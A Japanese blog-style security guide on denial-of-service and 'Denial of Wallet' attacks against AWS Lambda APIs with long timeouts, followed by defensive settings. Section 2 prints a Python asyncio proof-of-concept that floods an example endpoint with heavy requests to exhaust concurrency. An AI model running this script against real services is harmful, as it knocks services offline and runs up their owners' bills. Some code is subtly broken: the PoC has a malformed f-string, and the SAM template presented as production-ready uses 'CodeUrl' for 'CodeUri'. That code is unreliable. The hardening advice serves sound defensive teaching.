【実務・中級編】 クラウド環境におけるサーバーレス関数のタイムアウト設定とDoS対策 – オフェンシブセキュリティ & リバースエンジニアリング防御ガイド

おい、ちょっと手を止めてこっちを向いてくれ。

先日、とあるクライアントのAWS環境のペネトレーションテスト(模擬攻撃)を実施したんだが、そこで実に香ばしい脆弱性を見つけた。サーバーレス、いわゆるAWS Lambdaを使ったバックエンドAPIなんだが、開発チームは「サーバーレスだからスケーリングは自動だし、インフラ管理は不要だぜ」と高をくくっていた。

だが、現実は甘くない。攻撃者にとって、設定の甘いサーバーレス関数は「最も安価で、最も確実なインフラ破壊および金銭的ダメージ(Denial of Wallet)のツール」になる。今回は、Lambdaのタイムアウト設定の不備が招く致命的なDoSリスクと、それを現場でどう叩き潰すのか、俺の実務経験を交えて徹底的に解説しよう。

—

1. なぜ「サーバーレスDoS」が脅威なのか?

多くのエンジニアは、DDoS攻撃というとボットネットを使った大量のHTTPリクエストを思い浮かべるだろう。しかし、クラウド環境における真の脅威は「ロジックの悪用」だ。

Lambda関数には Timeout(タイムアウト)設定がある。デフォルトでは3秒だが、最大で15分(900秒)まで延長できる。もし、重い処理や外部APIへの同期リクエストを行うエンドポイントで、このタイムアウトを「念のため長めの 300秒(5分)」などと漫然と設定していたらどうなるか?

攻撃者の視点に立ってみよう。

攻撃シナリオ:Resource Exhaustion & Denial of Wallet

1. 攻撃者は、重い処理を強制的に実行させるリクエスト(例: 巨大なペイロードや、無限ループを誘発するパラメータ)をAPI Gateway経由でLambdaに送り込む。
2. Lambdaは1リクエストごとにコンテナを立ち上げ、その処理に最大5分間居座り続ける。
3. 同時実行数(Concurrecy)の制限がデフォルトのまま(アカウント単位で通常1,000)だったり、リザーブドコンカレンシーの設定が漏れている場合、攻撃者は少量のボットから数千のリクエストを同時に投げ込むだけで、アッという間にアカウントの同時実行数上限を枯渇させる。
4. 結果として、正当なユーザーのリクエストがすべて 429 Too Many Requests や 502 Bad Gateway で弾かれ、サービスが完全停止(DoS)する。
5. さらに最悪なのは、AWSの従量課金制だ。最大時間動き続けた数千のインスタンス分のコンピューティングリソース費用の請求が、月末にクライアントの元へ届く。これが「Denial of Wallet(財布のDoS)」の正体だ。

—

2. 攻撃者の手口:PoCスクリプトの断片

実際のペネトレーションテストで俺たちが何をやっているか、その一端を見せよう。Pythonの asyncio や aiohttp を使えば、非同期でLambdaのエンドポイントを叩き続け、コネクションを意図的にホールドし続けることは容易だ。

以下は、脆弱なLambdaエンドポイントに対して、スレッドを枯渇させるリクエストを送り込む概念実証(PoC)のイメージだ。

import asyncio
import aiohttp
import time

# ターゲットのAPI Gatewayのエンドポイント
TARGET_URL = "https://api.vulnerable-target.example.com/v1/heavy-process"

# サーバー側でタイムアウト(例: 300秒)を引き起こすためのペイロード
PAYLOAD = {
    "mode": "force_heavy_computation",
    "depth": 999999
}

async def send_attack_request(session, sem, req_id):
    async with sem:
        try:
            print(f"[*] 攻撃リクエスト #{req_id} 送信中...")
            start_time = time.time()
            # サーバー側で長時間処理をブロックさせる
            async with session.post(TARGET_URL, json=PAYLOAD, timeout=350) as response:
                status = response.status
                elapsed = time.time() - start_time
                print(f"[+] リクエスト #{req_id 完了: ステータス {status}, 応答時間: {elapsed:.2f}秒")
        except Exception as e:
            print(f"[-] リクエスト #{req_id} 失敗/タイムアウト: {e}")

async def main():
    # 同時接続数を絞って確実にLambdaのコンテナを占有する
    concurrency = 100
    sem = asyncio.Semaphore(concurrency)
    
    async with aiohttp.ClientSession() as session:
        tasks = [send_attack_request(session, sem, i) for i in range(500)]
        await asyncio.gather(*tasks)

if __name__ == "__main__":
    print("=== Lambda Denial of Wallet PoC 開始 ===")
    asyncio.run(main())

このスクリプトを走らせた瞬間、バックエンドのLambdaはみるみるリソースを食いつぶされ、他のユーザーがログインすらできない状態に陥る。現場でこれに直面した運用チームは、パニックに陥るわけだ。

—

3. 完全防御:インフラとコードの両面からのアプローチ

この悪夢を防ぐには、アプリケーションコードの書き方と、クラウドインフラ(AWS)側の設定の両方で鉄壁のガードを固める必要がある。後輩のエンジニアである君たちには、次の3つの対策を必ず実装してもらう。

対策A: Lambda関数のタイムアウトは「必要最小限」にする

「念のため長くしておく」という甘えは今すぐ捨てろ。API Gatewayの統合タイムアウトは最大29秒だ。したがって、Lambda自体のタイムアウトをそれ以上に設定する合理的な理由は、バッチ処理や非同期キュー(SQSトリガーなど)以外ではない。
Web APIのLambdaであれば、タイムアウトは「5秒〜10秒」に厳しく制限しろ。

対策B: 予約された同時実行数(Reserved Concurrency)の設定

これが一番重要だ。デフォルトでは、AWSアカウント内のすべてのLambdaが共有の同時実行数プール(通常1,000)を奪い合う。
クリティカルなAPI関数には、必ず ReservedConcurrentExecutions を設定し、特定のエンドポイントが暴走しても他の機能(認証系など)が巻き込まれないようにリソースを隔離しろ。

対策C: セキュアなサーバーレス構成(AWS SAM / CloudFormationの例)

では、実際にプロダクション環境で使えるセキュアな設定ファイルを共有しよう。以下のAWS SAM(Serverless Application Model)テンプレートをコピペして、設計の標準にしてほしい。

AWSTemplateFormatVersion: '2010-09-09'
Transform: AWS::Serverless-2016-10-31
Description: >
  セキュアなLambda関数の設計サンプル
  - タイムアウトの厳格化
  - 同時実行数の制限によるDoS/コストスパイク防御

Globals:
  Function:
    Timeout: 6          # APIとしての限界値を考慮し、6秒で強制切断
    MemorySize: 256     # 用途に応じた適正値(過剰なメモリ割当はコスト増)

Resources:
  SecureApiFunction:
    Type: AWS::Serverless::Function
    Properties:
      CodeUrl: src/
      Handler: app.lambda_handler
      Runtime: python3.9
      
      # 【最重要】この関数が同時に利用できる最大インスタンス数を制限
      # これにより、万が一のDDoS時でもコストの爆発とリソース枯渇を防ぐ
      ReservedConcurrentExecutions: 50
      
      Events:
        ApiEvent:
          Type: Api
          Properties:
            Path: /v1/secure-endpoint
            Method: post
            
      # 最小限の権限(Least Privilege)を付与するIAMロールの明示
      Policies:
        - AWSLambdaBasicExecutionRole
        - Version: '2012-10-17'
          Statement:
            - Effect: Allow
              Action:
                - dynamodb:GetItem
                - dynamodb:PutItem
              Resource: !GetAtt TargetTable.Arn

  TargetTable:
    Type: AWS::DynamoDB::Table
    Properties:
      BillingMode: PAY_PER_REQUEST
      AttributeDefinitions:
        - AttributeName: id
          AttributeType: S
      KeySchema:
        - AttributeName: id
          KeyType: HASH

—

4. アプリケーションコード側での防衛策(Pythonの例)

インフラ任せにするだけでなく、Lambdaのハンドラー関数内でも、外部API呼び出しや重いループ処理に対して明示的なタイムアウト制御(Deadline propagation)を実装しておくべきだ。

以下は、Pythonで処理時間を監視し、制限時間を超えそうになったら安全に処理を中断するセキュアなコード実装例だ。

import time
import logging

logger = logging.getLogger()
logger.setLevel(logging.INFO)

# 許容する最大処理時間(秒)
MAX_EXECUTION_TIME = 5.0

def lambda_handler(event, context):
    start_time = time.time()
    logger.info("Lambda関数の実行を開始します。")
    
    try:
        # 重い処理や外部APIコールを模したループ
        for i in range(10):
            # 経過時間を常にチェック(残り時間が1秒を切ったら強制離脱)
            elapsed = time.time() - start_time
            remaining = context.get_remaining_time_in_millis() / 1000.0
            
            if remaining < 1.0:
                logger.warning(f"タイムアウト接近を検知しました。安全に処理を中断します。(経過: {elapsed:.2f}s)")
                return {
                    "statusCode": 504,
                    "body": "Gateway Timeout: 処理がタイムアウト制限に達しました。"
                }
            
            # 実際のビジネスロジック(ここではスリープで代用)
            # 外部API呼び出しの際は必ず requests.get(url, timeout=3) のようにタイムアウトを指定すること
            time.sleep(0.4)
            
        return {
            "statusCode": 200,
            "body": "正常に処理が完了しました。"
        }

    except Exception as e:
        logger.error(f"予期せぬエラーが発生しました: {str(e)}")
        return {
            "statusCode": 500,
            "body": "Internal Server Error"
        }

—

チーフからの総括

クラウドセキュリティの世界では、「動けばいいや」で作ったコードや設定の不備が、数分で会社に数百万の損害を与えたり、サービスを完全に沈黙させたりする。

サーバーレスは管理コストを劇的に下げてくれる素晴らしい技術だが、それは「セキュリティリスクが消えた」わけではなく、「インフラ担当の責任がアプリケーションエンジニアの設計力に直結するようになった」というだけの話だ。

今日紹介した 「タイムアウトの厳格化」「予約された同時実行数の設定」「コード内での残り時間監視」 の3つは、明日からの開発で必ず標準装備として組み込んでほしい。

自分の書いたコードとインフラ設定が、攻撃者の格好の餌食になっていないか——。常にその視点を持つことこそが、一流のエンジニアへの第一歩だ。さて、次の脆弱性修正レポートに取り掛かろうか。

コメント

タイトルとURLをコピーしました